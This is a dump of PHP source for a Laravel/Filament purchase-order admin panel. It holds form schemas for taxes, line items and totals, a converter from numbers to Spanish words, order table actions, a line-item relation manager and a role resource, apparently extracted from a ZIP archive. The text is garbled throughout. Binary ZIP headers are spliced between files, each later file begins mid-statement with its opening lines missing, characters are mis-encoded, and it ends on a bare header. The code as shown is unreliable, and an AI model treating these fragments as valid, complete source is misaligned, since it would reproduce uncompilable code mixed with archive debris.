// Sección 4: Impuestos
Forms\Components\Section::make('Impuestos')
->schema([
Forms\Components\Grid::make(3)
->schema([
Forms\Components\TextInput::make('it')
->label('IT')
->numeric()
->prefix(fn (Forms\Get $get) => $get('moneda') === 'BOB' ? 'Bs.' : '$us')
->minValue(0)
->default(0)
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarTotal($set, $get);
}),
Forms\Components\TextInput::make('iue')
->label('IUE')
->numeric()
->prefix(fn (Forms\Get $get) => $get('moneda') === 'BOB' ? 'Bs.' : '$us')
->minValue(0)
->default(0)
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarTotal($set, $get);
}),
Forms\Components\TextInput::make('tipo_cambio')
->label('Tipo Cambio')
->numeric()
->minValue(0)
->default(7)
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarTotal($set, $get);
}),
]),
]),
// Sección 5: ITEMS - TABLA DE DETALLES (CORREGIDA)
Forms\Components\Section::make('Items de la Orden')
->description('Agregue los productos o servicios que necesita adquirir. Los cálculos se actualizan automáticamente.')
->schema([
Forms\Components\Repeater::make('detalles')
->relationship('detalles')
->schema([
Forms\Components\Grid::make(12)
->schema([
Forms\Components\TextInput::make('item')
->label('Descripción')
->required()
->maxLength(255)
->columnSpan(5)
->formatStateUsing(fn ($state) => ucwords(strtolower($state)))
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set) {
$set('item', ucwords(strtolower($state)));
}),
Forms\Components\TextInput::make('codigo')
->label('Código')
->numeric()
->default(0)
->minValue(0)
->columnSpan(1)
->placeholder('Código del item'),
Forms\Components\TextInput::make('centro_costo')
->label('Centro de Costo')
->columnSpan(2)
->placeholder('Ingrese centro de costo'),
Forms\Components\TextInput::make('cantidad')
->label('Cantidad')
->required()
->numeric()
->default(1)
->minValue(0)
->columnSpan(1)
->live()
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarSubtotal($set, $get);
}),
Forms\Components\TextInput::make('precio')
->label('Precio')
->required()
->numeric()
->default(0)
->minValue(0)
->columnSpan(1)
// ->prefix(fn ($get) => $get('../../moneda') === 'BOB' ? 'Bs.' : '$us')
->live()
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarSubtotal($set, $get);
}),
Forms\Components\TextInput::make('descuento')
->label('Desc')
->numeric()
->default(0)
// ->prefix(fn ($get) => $get('../../moneda') === 'BOB' ? 'Bs.' : '$us')
->columnSpan(1)
->live()
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarSubtotal($set, $get);
}),
Forms\Components\TextInput::make('subtotal')
->label('Subtotal')
->numeric()
->default(0)
->minValue(0)
->readOnly()
->dehydrated()
->columnSpan(1)
// ->prefix(fn ($get) => $get('../../moneda') === 'BOB' ? 'Bs.' : '$us'),
])
->columnSpanFull(),
])
->defaultItems(1)
->minItems(1)
->maxItems(50)
->addActionLabel('âž• Agregar Nuevo Item')
->reorderable(true)
->columnSpanFull()
->live()
->afterStateUpdated(function (Forms\Set $set, Forms\Get $get) {
self::actualizarTotal($set, $get);
})
->itemLabel(fn (array $state): ?string => $state['item'] ? "{$state['item']}" : null),
// Total General (CORREGIDO)
Forms\Components\Grid::make(4)
->schema([
Forms\Components\TextInput::make('son')
->label('Son:')
->required()
->readOnly()
->dehydrated()
->columnSpan(2),
Forms\Components\Grid::make(2)
->schema([
Forms\Components\TextInput::make('total_sus')
->label('Total $us')
->numeric()
->prefix('$us')
->default(0)
->minValue(0)
->readOnly()
->dehydrated()
->reactive(),
Forms\Components\TextInput::make('total_bs')
->label('Total Bs:')
->numeric()
->prefix('Bs.')
->default(0)
->minValue(0)
->readOnly()
->dehydrated()
->reactive(),
])
->columnSpan(2),
]),
]),
// Sección 6: Información Adicional
Forms\Components\Section::make('Información Adicional')
->schema([
Forms\Components\Grid::make(2)
->schema([
Forms\Components\Textarea::make('concepto')
->label('Por concepto de *')
->required()
->rows(2)
->columnSpan(1)
->formatStateUsing(fn ($state) => ucwords(strtolower($state)))
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set) {
$set('concepto', ucwords(strtolower($state)));
}),
Forms\Components\Textarea::make('observacion')
->label('Observación')
->rows(2)
->columnSpan(1)
->formatStateUsing(fn ($state) => ucwords(strtolower($state)))
->live(onBlur: true)
->afterStateUpdated(function ($state, Forms\Set $set) {
$set('observacion', ucwords(strtolower($state)));
}),
]),
Forms\Components\Grid::make(2)
->schema([
Forms\Components\FileUpload::make('archivo')
->label('Subir Archivo:')
->directory('ordenes-compra')
->acceptedFileTypes([
'application/pdf',
'image/*',
'application/msword',
'application/vnd.openxmlformats-officedocument.wordprocessingml.document'
])
->maxSize(10240)
->helperText('Formatos: PDF, Word, Imágenes')
->columnSpan(1),
Forms\Components\DatePicker::make('fecha_pago')
->label('Fecha de Pago')
->displayFormat('d/m/Y')
->columnSpan(1),
]),
Forms\Components\FileUpload::make('voucher_pago')
->label('Voucher de Pago')
->directory('ordenes-compra/vouchers')
->acceptedFileTypes([
'application/pdf',
'image/*',
])
->maxSize(10240)
->helperText('Suba el comprobante de pago cuando la orden esté aprobada')
->visible(fn (Forms\Get $get) => in_array($get('estado'), ['aprobado', 'pagada']))
->columnSpanFull(),
]),
// Campo oculto para user_id
Forms\Components\Hidden::make('user_id')
->default(auth()->id()),
// Campo estado
Forms\Components\Select::make('estado')
->label('Estado')
->options([
'pendiente' => 'Pendiente',
'pagada' => 'Pagada',
'aprobado' => 'Aprobado',
'rechazada' => 'Rechazado',
'observado' => 'Observado',
'anulado' => 'Anulado',
])
->default('pendiente')
->required(),
])
->columns(1);
}
// Método para actualizar subtotal de cada item (CORREGIDO)
public static function actualizarSubtotal(Forms\Set $set, Forms\Get $get): void
{
$cantidad = floatval($get('cantidad') ?? 0);
$precio = floatval($get('precio') ?? 0);
$descuento = floatval($get('descuento') ?? 0);
$subtotal = ($cantidad * $precio) - $descuento;
$set('subtotal', max(0, $subtotal));
}
// Método para actualizar total general (MEJORADO)
public static function actualizarTotal(Forms\Set $set, Forms\Get $get): void
{
$detalles = $get('detalles') ?? [];
$it = floatval($get('it') ?? 0);
$iue = floatval($get('iue') ?? 0);
$tipoCambio = floatval($get('tipo_cambio') ?? 7);
$moneda = $get('moneda') ?? 'BOB';
// Calcular subtotal total de detalles recalculando cada uno
$totalSubtotal = 0;
foreach ($detalles as $detalle) {
$cantidad = floatval($detalle['cantidad'] ?? 0);
$precio = floatval($detalle['precio'] ?? 0);
$descuento = floatval($detalle['descuento'] ?? 0);
$subtotal = ($cantidad * $precio) - $descuento;
$totalSubtotal += max(0, $subtotal);
}
// Calcular total (solo subtotal, IT y IUE son campos separados)
$totalConImpuestos = $totalSubtotal;
if ($moneda === 'BOB') {
$totalBs = $totalConImpuestos;
$totalSus = $tipoCambio > 0 ? $totalConImpuestos / $tipoCambio : 0;
$monedaTexto = 'BOLIVIANOS';
} else {
$totalSus = $totalConImpuestos;
$totalBs = $totalConImpuestos * $tipoCambio;
$monedaTexto = 'DOLARES AMERICANOS';
}
// Actualizar campos totales
$set('total_bs', round($totalBs, 2));
$set('total_sus', round($totalSus, 2));
// Generar automáticamente el texto "Son:" basado en la suma de subtotales (independiente de moneda)
$totalEnLetras = self::convertirNumeroALetras($totalSubtotal);
$set('son', $totalEnLetras . ' ' . $monedaTexto);
}
// Función para convertir números a letras (mantenida igual)
public static function convertirNumeroALetras($numero): string
{
if ($numero == 0) {
return "CERO 00/100";
}
$parteEntera = intval($numero);
$parteDecimal = intval(($numero - $parteEntera) * 100);
$texto = self::convertirParteEntera($parteEntera);
// Agregar parte decimal
if ($parteDecimal > 0) {
$texto .= " {$parteDecimal}/100";
} else {
$texto .= " 00/100";
}
return strtoupper($texto);
}
private static function convertirParteEntera($numero): string
{
if ($numero == 0) {
return "";
}
$unidades = ['', 'UN', 'DOS', 'TRES', 'CUATRO', 'CINCO', 'SEIS', 'SIETE', 'OCHO', 'NUEVE'];
$decenas = ['', 'DIEZ', 'VEINTE', 'TREINTA', 'CUARENTA', 'CINCUENTA', 'SESENTA', 'SETENTA', 'OCHENTA', 'NOVENTA'];
$centenas = ['', 'CIENTO', 'DOSCIENTOS', 'TRESCIENTOS', 'CUATROCIENTOS', 'QUINIENTOS', 'SEISCIENTOS', 'SETECIENTOS', 'OCHOCIENTOS', 'NOVECIENTOS'];
$especiales = [
11 => 'ONCE', 12 => 'DOCE', 13 => 'TRECE', 14 => 'CATORCE', 15 => 'QUINCE',
16 => 'DIECISEIS', 17 => 'DIECISIETE', 18 => 'DIECIOCHO', 19 => 'DIECINUEVE',
21 => 'VEINTIUN', 22 => 'VEINTIDOS', 23 => 'VEINTITRES', 24 => 'VEINTICUATRO',
25 => 'VEINTICINCO', 26 => 'VEINTISEIS', 27 => 'VEINTISIETE', 28 => 'VEINTIOCHO', 29 => 'VEINTINUEVE'
];
// Miles
$miles = intval($numero / 1000);
$resto = $numero % 1000;
$texto = '';
if ($miles > 0) {
if ($miles == 1) {
$texto = 'MIL ';
} else {
$texto = self::convertirParteEntera($miles) . ' MIL ';
}
}
// Centenas
$cent = intval($resto / 100);
$resto = $resto % 100;
if ($cent > 0) {
if ($cent == 1 && $resto == 0) {
$texto .= 'CIEN ';
} else {
$texto .= $centenas[$cent] . ' ';
}
}
// Decenas y unidades
if ($resto > 0) {
if (isset($especiales[$resto])) {
$texto .= $especiales[$resto] . ' ';
} elseif ($resto < 10) {
$texto .= $unidades[$resto] . ' ';
} elseif ($resto % 10 == 0) {
$texto .= $decenas[intval($resto / 10)] . ' ';
} else {
$dec = intval($resto / 10);
$uni = $resto % 10;
$texto .= $decenas[$dec] . ' Y ' . $unidades[$uni] . ' ';
}
}
return trim($texto);
}
public static function table(Table $table): Table
{
return $table
->modifyQueryUsing(function (Builder $query) {
$user = auth()->user();
// Skip area filter for super_admin users
if ($user && !in_array('super_admin', $user->roles->pluck('name')->toArray()) && $user->area_id) {
$query->where('area_id', $user->area_id);
}
return $query;
})
->columns([
Tables\Columns\TextColumn::make('orden_num')
->label('Nº Orden')
->sortable()
->searchable()
->formatStateUsing(fn ($state): string => "{$state}"),
Tables\Columns\TextColumn::make('fecha')
->label('Fecha')
->date('d/m/Y')
->sortable(),
Tables\Columns\TextColumn::make('proveedorRelacion.nombre')
->label('Proveedor')
->searchable()
->limit(30)
->formatStateUsing(fn ($state, $record) => $record->proveedorRelacion?->nombre ?? ''),
Tables\Columns\TextColumn::make('area.nombre')
->label('�rea')
->sortable()
->searchable()
->formatStateUsing(fn ($state, $record) => $record->area?->nombre ?? ''),
Tables\Columns\TextColumn::make('saldo_bs')
->label('Total Bs')
->money('BOB')
->sortable(),
Tables\Columns\TextColumn::make('saldo_sus')
->label('Total Sus')
->money('USD')
->sortable(),
Tables\Columns\TextColumn::make('estado')
->label('Estado')
->badge()
->color(fn (string $state): string => match ($state) {
'pendiente' => 'warning',
'aprobado' => 'success',
'en_proceso' => 'info',
'completado' => 'primary',
'cancelado' => 'danger',
'observado' => 'gray',
'rechazada' => 'danger',
'pagada' => 'success',
default => 'gray',
}),
])
->filters([
Tables\Filters\SelectFilter::make('area_id')
->relationship('area', 'nombre'),
Tables\Filters\SelectFilter::make('estado')
->options([
'pendiente' => 'Pendiente',
'aprobado' => 'Aprobado',
'en_proceso' => 'En Proceso',
'completado' => 'Completado',
'cancelado' => 'Cancelado',
'observado' => 'Observado',
'rechazada' => 'Rechazado',
'pagada' => 'Pagada',
]),
])
->actions([
Tables\Actions\EditAction::make()
->visible(fn (OrdenCompra $record) => !in_array($record->estado, ['aprobado', 'rechazada', 'pagado', 'anulado'])),
Tables\Actions\ViewAction::make(),
Tables\Actions\Action::make('activities')
->label('')
->icon('heroicon-o-clock')
->tooltip('Ver Actividades')
->url(fn ($record) => static::getUrl('activities', ['record' => $record])),
Tables\Actions\Action::make('imprimir')
->label('')
->icon('heroicon-o-printer')
->tooltip('Imprimir')
->url(fn (OrdenCompra $record): string => route('ordenes.print', $record))
->openUrlInNewTab(),
Tables\Actions\Action::make('enviar_email')
->label('')
->icon('heroicon-o-envelope')
->tooltip('Enviar por Email')
->color('info')
->requiresConfirmation()
->modalHeading('Enviar Orden por Email')
->modalDescription('Se enviará la orden a los destinatarios fijos configurados.')
->modalSubmitActionLabel('Enviar')
->action(function (OrdenCompra $record) {
return \App\Http\Controllers\OrdenCompraReviewController::sendReviewEmail($record);
})
->successNotificationTitle('Correo enviado exitosamente')
->visible(fn (OrdenCompra $record) => true),
Tables\Actions\Action::make('aprobar')
->label('')
->icon('heroicon-o-check')
->tooltip('Aprobar')
->action(fn (OrdenCompra $record) => $record->update(['estado' => 'aprobado']))
->requiresConfirmation()
->color('success')
->visible(fn (OrdenCompra $record) => $record->estado === 'pendiente'),
Tables\Actions\Action::make('anular')
->label('')
->icon('heroicon-o-x-circle')
->tooltip('Anular')
->action(fn (OrdenCompra $record) => $record->update(['estado' => 'anulado']))
->requiresConfirmation()
->modalHeading('¿Anular Orden de Compra?')
->modalDescription('Esta acción cambiará el estado de la orden a "Anulado" y ya no podrá ser editada.')
->modalSubmitActionLabel('Anular')
->color('danger')
->visible(fn (OrdenCompra $record) => !in_array($record->estado, ['anulado', 'pagada', 'aprobado'])),
])
->bulkActions([
Tables\Actions\BulkActionGroup::make([
Tables\Actions\DeleteBulkAction::make(),
]),
]);
}
public static function getRelations(): array
{
return [
DetallesRelationManager::class,
];
}
public static function getPages(): array
{
return [
'index' => Pages\ListOrdenCompras::route('/'),
'create' => Pages\CreateOrdenCompra::route('/create'),
'edit' => Pages\EditOrdenCompra::route('/{record}/edit'),
'view' => Pages\ViewOrdenCompra::route('/{record}'),
'activities' => ListActivities::route('/{record}/activities'),
];
}
}PK x°b]ˆ’ˆÉC C ? Filament/Resources/OrdenCompraResource/Pages/ListActivities.phpnu ȯÝí label('Crear Orden');
}
protected function getCreateAnotherFormAction(): Actions\Action
{
return parent::getCreateAnotherFormAction()
->label('Crear y Crear Otra');
}
protected function getCancelFormAction(): Actions\Action
{
return Action::make('cancel')
->label('Volver')
->url(fn (): string => $this->getResource()::getUrl('index'))
->color('gray');
}
protected function afterCreate(): void
{
// Forzar la recarga de la relación detalles
$this->record->load('detalles');
// ✅ LLAMAR AL MÉTODO COMPLETO que incluye el campo "son"
$this->record->recalculateTotals();
$this->record->save();
}
}
PK x°b]éñµÎ° ° @ Filament/Resources/OrdenCompraResource/Pages/ViewOrdenCompra.phpnu ȯÝí label('Volver')
->url(fn (): string => $this->getResource()::getUrl('index'))
->color('gray')
->icon('heroicon-o-arrow-left'),
];
}
}
PK x°b]Ѭ櫯 ¯ @ Filament/Resources/OrdenCompraResource/Pages/EditOrdenCompra.phpnu ȯÝí record->estado, ['aprobado', 'rechazada', 'pagada', 'anulado'])) {
abort(403, 'No se puede editar una orden en este estado.');
}
}
protected function mutateFormDataBeforeSave(array $data): array
{
// Removed recalculation to rely fully on model saving event recalculation
return $data;
}
protected function getHeaderActions(): array
{
return [
// Eliminar DeleteAction ya que no se permite eliminación
];
}
protected function getSaveFormAction(): Actions\Action
{
return parent::getSaveFormAction()
->label('Guardar Cambios');
}
protected function getCancelFormAction(): Actions\Action
{
return Action::make('cancel')
->label('Volver')
->url(fn (): string => $this->getResource()::getUrl('index'))
->color('gray');
}
protected function afterSave(): void
{
// Forzar la recarga de los detalles
$this->record->load('detalles');
// ✅ LLAMAR AL MÉTODO COMPLETO
$this->record->recalculateTotals();
$this->record->save();
}
}
PK x°b]'=¯¹* ¹* S Filament/Resources/OrdenCompraResource/RelationManagers/DetallesRelationManager.phpnu ȯÝí schema([
Forms\Components\TextInput::make('item')
->label('Descripción')
->required()
->columnSpanFull(),
Forms\Components\TextInput::make('codigo')
->label('Código')
->numeric()
->default(0),
Forms\Components\TextInput::make('centro_costo')
->label('Centro de Costo')
->default(''),
Forms\Components\TextInput::make('cantidad')
->label('Cantidad')
->required()
->numeric()
->default(1)
->live()
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarSubtotal($set, $get);
}),
Forms\Components\TextInput::make('precio')
->label('Precio Unitario')
->required()
->numeric()
->prefix(fn ($get) => $this->getOwnerRecord()->moneda === 'BOB' ? 'Bs.' : '$us')
->live()
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarSubtotal($set, $get);
}),
Forms\Components\TextInput::make('descuento')
->label('Descuento')
->numeric()
->default(0)
->prefix(fn ($get) => $this->getOwnerRecord()->moneda === 'BOB' ? 'Bs.' : '$us')
->live()
->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) {
self::actualizarSubtotal($set, $get);
}),
Forms\Components\TextInput::make('subtotal')
->label('Subtotal')
->numeric()
->prefix(fn ($get) => $this->getOwnerRecord()->moneda === 'BOB' ? 'Bs.' : '$us')
->readOnly()
->dehydrated(),
]);
}
public function table(Table $table): Table
{
return $table
->recordTitleAttribute('item')
->columns([
Tables\Columns\TextColumn::make('item')
->label('Producto / Servicio')
->searchable()
->wrap()
->weight('semibold')
->description(fn ($record) => $record->codigo ? "Código: {$record->codigo}" : null)
->columnSpan(2),
Tables\Columns\TextColumn::make('cantidad')
->label('Cantidad')
->formatStateUsing(fn ($state) => "× {$state}")
->alignCenter()
->weight('bold')
->color('primary'),
Tables\Columns\TextColumn::make('precio')
->label('Precio Unitario')
->money(fn ($record) => $record->orden->moneda === 'BOB' ? 'BOB' : 'USD')
->alignRight()
->weight('medium')
->description(fn ($record) => $record->centro_costo ? "CC: {$record->centro_costo}" : null),
Tables\Columns\TextColumn::make('descuento')
->label('Descuento')
->money(fn ($record) => $record->orden->moneda === 'BOB' ? 'BOB' : 'USD')
->alignRight()
->color(fn ($record) => $record->descuento > 0 ? 'danger' : null)
->placeholder('-'),
Tables\Columns\TextColumn::make('subtotal')
->label('Subtotal')
->money(fn ($record) => $record->orden->moneda === 'BOB' ? 'BOB' : 'USD')
->alignRight()
->weight('bold')
->color('success')
->size('lg')
->summarize([
Tables\Columns\Summarizers\Sum::make()
->money(fn ($record) => $record->orden->moneda === 'BOB' ? 'BOB' : 'USD')
->label('Total'),
])
])
->headerActions([
Tables\Actions\CreateAction::make()
->label('âž• Agregar Item')
->modalHeading('Agregar Nuevo Item')
->modalWidth('4xl')
->createAnother(false)
->using(function (array $data, string $model): mixed {
$data['subtotal'] = ($data['cantidad'] * $data['precio']) - ($data['descuento'] ?? 0);
$data['orden_id'] = $this->getOwnerRecord()->id;
$detalle = $model::create($data);
// Actualizar totales de la orden después de crear
$this->actualizarTotalesOrden();
return $detalle;
}),
])
->actions([
Tables\Actions\EditAction::make()
->modalHeading('Editar Item')
->modalWidth('4xl')
->using(function ($record, array $data): mixed {
$data['subtotal'] = ($data['cantidad'] * $data['precio']) - ($data['descuento'] ?? 0);
$record->update($data);
// Actualizar totales de la orden después de editar
$this->actualizarTotalesOrden();
return $record;
}),
Tables\Actions\DeleteAction::make()
->label('Eliminar')
->icon('heroicon-o-trash')
->before(function () {
// Actualizar totales de la orden después de eliminar
$this->actualizarTotalesOrden();
}),
])
->bulkActions([
Tables\Actions\BulkActionGroup::make([
Tables\Actions\DeleteBulkAction::make(),
]),
])
->emptyStateHeading('No hay items agregados')
->emptyStateDescription('Comienza agregando el primer item a tu orden de compra.')
->emptyStateActions([
Tables\Actions\CreateAction::make()
->label('Agregar Primer Item')
->modalWidth('4xl'),
])
->deferLoading()
->paginated(false);
}
protected static function actualizarSubtotal(Forms\Set $set, Forms\Get $get): void
{
$cantidad = floatval($get('cantidad') ?? 0);
$precio = floatval($get('precio') ?? 0);
$descuento = floatval($get('descuento') ?? 0);
$subtotal = ($cantidad * $precio) - $descuento;
$set('subtotal', $subtotal);
}
protected function actualizarTotalesOrden(): void
{
$orden = $this->getOwnerRecord();
// Recalcular totales usando el método del modelo
$orden->recalculateTotals();
}
// Función para convertir números a letras (igual que en OrdenCompraResource)
public static function convertirNumeroALetras($numero): string
{
if ($numero == 0) {
return "CERO 00/100";
}
$parteEntera = intval($numero);
$parteDecimal = intval(($numero - $parteEntera) * 100);
$texto = self::convertirParteEntera($parteEntera);
// Agregar parte decimal
if ($parteDecimal > 0) {
$texto .= " {$parteDecimal}/100";
} else {
$texto .= " 00/100";
}
return strtoupper($texto);
}
private static function convertirParteEntera($numero): string
{
if ($numero == 0) {
return "";
}
$unidades = ['', 'UN', 'DOS', 'TRES', 'CUATRO', 'CINCO', 'SEIS', 'SIETE', 'OCHO', 'NUEVE'];
$decenas = ['', 'DIEZ', 'VEINTE', 'TREINTA', 'CUARENTA', 'CINCUENTA', 'SESENTA', 'SETENTA', 'OCHENTA', 'NOVENTA'];
$centenas = ['', 'CIENTO', 'DOSCIENTOS', 'TRESCIENTOS', 'CUATROCIENTOS', 'QUINIENTOS', 'SEISCIENTOS', 'SETECIENTOS', 'OCHOCIENTOS', 'NOVECIENTOS'];
$especiales = [
11 => 'ONCE', 12 => 'DOCE', 13 => 'TRECE', 14 => 'CATORCE', 15 => 'QUINCE',
16 => 'DIECISEIS', 17 => 'DIECISIETE', 18 => 'DIECIOCHO', 19 => 'DIECINUEVE',
21 => 'VEINTIUN', 22 => 'VEINTIDOS', 23 => 'VEINTITRES', 24 => 'VEINTICUATRO',
25 => 'VEINTICINCO', 26 => 'VEINTISEIS', 27 => 'VEINTISIETE', 28 => 'VEINTIOCHO', 29 => 'VEINTINUEVE'
];
// Miles
$miles = intval($numero / 1000);
$resto = $numero % 1000;
$texto = '';
if ($miles > 0) {
if ($miles == 1) {
$texto = 'MIL ';
} else {
$texto = self::convertirParteEntera($miles) . ' MIL ';
}
}
// Centenas
$cent = intval($resto / 100);
$resto = $resto % 100;
if ($cent > 0) {
if ($cent == 1 && $resto == 0) {
$texto .= 'CIEN ';
} else {
$texto .= $centenas[$cent] . ' ';
}
}
// Decenas y unidades
if ($resto > 0) {
if (isset($especiales[$resto])) {
$texto .= $especiales[$resto] . ' ';
} elseif ($resto < 10) {
$texto .= $unidades[$resto] . ' ';
} elseif ($resto % 10 == 0) {
$texto .= $decenas[intval($resto / 10)] . ' ';
} else {
$dec = intval($resto / 10);
$uni = $resto % 10;
$texto .= $decenas[$dec] . ' Y ' . $unidades[$uni] . ' ';
}
}
return trim($texto);
}
}
PK x°b]çŒp0! ! # Filament/Resources/RoleResource.phpnu ȯÝí schema([
Forms\Components\Grid::make()
->schema([
Forms\Components\Section::make()
->schema([
Forms\Components\TextInput::make('name')
->label(__('filament-shield::filament-shield.field.name'))
->unique(
ignoreRecord: true, /** @phpstan-ignore-next-line */
modifyRuleUsing: fn (Unique $rule) => Utils::isTenancyEnabled() ? $rule->where(Utils::getTenantModelForeignKey(), Filament::getTenant()?->id) : $rule
)
->required()
->maxLength(255),
Forms\Components\TextInput::make('guard_name')
->label(__('filament-shield::filament-shield.field.guard_name'))
->default(Utils::getFilamentAuthGuard())
->nullable()
->maxLength(255),
Forms\Components\Select::make(config('permission.column_names.team_foreign_key'))
->label(__('filament-shield::filament-shield.field.team'))
->placeholder(__('filament-shield::filament-shield.field.team.placeholder'))
/** @phpstan-ignore-next-line */
->default([Filament::getTenant()?->id])
->options(fn (): Arrayable => Utils::getTenantModel() ? Utils::getTenantModel()::pluck('name', 'id') : collect())
->hidden(fn (): bool => ! (static::shield()->isCentralApp() && Utils::isTenancyEnabled()))
->dehydrated(fn (): bool => ! (static::shield()->isCentralApp() && Utils::isTenancyEnabled())),
ShieldSelectAllToggle::make('select_all')
->onIcon('heroicon-s-shield-check')
->offIcon('heroicon-s-shield-exclamation')
->label(__('filament-shield::filament-shield.field.select_all.name'))
->helperText(fn (): HtmlString => new HtmlString(__('filament-shield::filament-shield.field.select_all.message')))
->dehydrated(fn (bool $state): bool => $state),
])
->columns([
'sm' => 2,
'lg' => 3,
]),
]),
static::getShieldFormComponents(),
]);
}
public static function table(Table $table): Table
{
return $table
->columns([
Tables\Columns\TextColumn::make('name')
->weight('font-medium')
->label(__('filament-shield::filament-shield.column.name'))
->formatStateUsing(fn ($state): string => Str::headline($state))
->searchable(),
Tables\Columns\TextColumn::make('guard_name')
->badge()
->color('warning')
->label(__('filament-shield::filament-shield.column.guard_name')),
Tables\Columns\TextColumn::make('team.name')
->default('Global')
->badge()
->color(fn (mixed $state): string => str($state)->contains('Global') ? 'gray' : 'primary')
->label(__('filament-shield::filament-shield.column.team'))
->searchable()
->visible(fn (): bool => static::shield()->isCentralApp() && Utils::isTenancyEnabled()),
Tables\Columns\TextColumn::make('permissions_count')
->badge()
->label(__('filament-shield::filament-shield.column.permissions'))
->counts('permissions')
->colors(['success']),
Tables\Columns\TextColumn::make('updated_at')
->label(__('filament-shield::filament-shield.column.updated_at'))
->dateTime(),
])
->filters([
//
])
->actions([
Tables\Actions\EditAction::make(),
Tables\Actions\DeleteAction::make(),
])
->bulkActions([
Tables\Actions\DeleteBulkAction::make(),
]);
}
public static function getRelations(): array
{
return [
//
];
}
public static function getPages(): array
{
return [
'index' => Pages\ListRoles::route('/'),
'create' => Pages\CreateRole::route('/create'),
'view' => Pages\ViewRole::route('/{record}'),
'edit' => Pages\EditRole::route('/{record}/edit'),
];
}
public static function getCluster(): ?string
{
return Utils::getResourceCluster() ?? static::$cluster;
}
public static function getModel(): string
{
return Utils::getRoleModel();
}
public static function getModelLabel(): string
{
return __('filament-shield::filament-shield.resource.label.role');
}
public static function getPluralModelLabel(): string
{
return __('filament-shield::filament-shield.resource.label.roles');
}
public static function shouldRegisterNavigation(): bool
{
return Utils::isResourceNavigationRegistered();
}
public static function getNavigationGroup(): ?string
{
return Utils::isResourceNavigationGroupEnabled()
? __('filament-shield::filament-shield.nav.group')
: '';
}
public static function getNavigationLabel(): string
{
return __('filament-shield::filament-shield.nav.role.label');
}
public static function getNavigationIcon(): string
{
return __('filament-shield::filament-shield.nav.role.icon');
}
public static function getNavigationSort(): ?int
{
return Utils::getResourceNavigationSort();
}
public static function getSubNavigationPosition(): SubNavigationPosition
{
return Utils::getSubNavigationPosition() ?? static::$subNavigationPosition;
}
public static function getSlug(): string
{
return Utils::getResourceSlug();
}
public static function getNavigationBadge(): ?string
{
return Utils::isResourceNavigationBadgeEnabled()
? strval(static::getEloquentQuery()->count())
: null;
}
public static function isScopedToTenant(): bool
{
return Utils::isScopedToTenant();
}
public static function canGloballySearch(): bool
{
return Utils::isResourceGloballySearchable() && count(static::getGloballySearchableAttributes()) && static::canViewAny();
}
}
PK x°b]ßŒÕ B Filament/Resources/CentroCostoResource/Pages/CreateCentroCosto.phpnu ÕIw¶´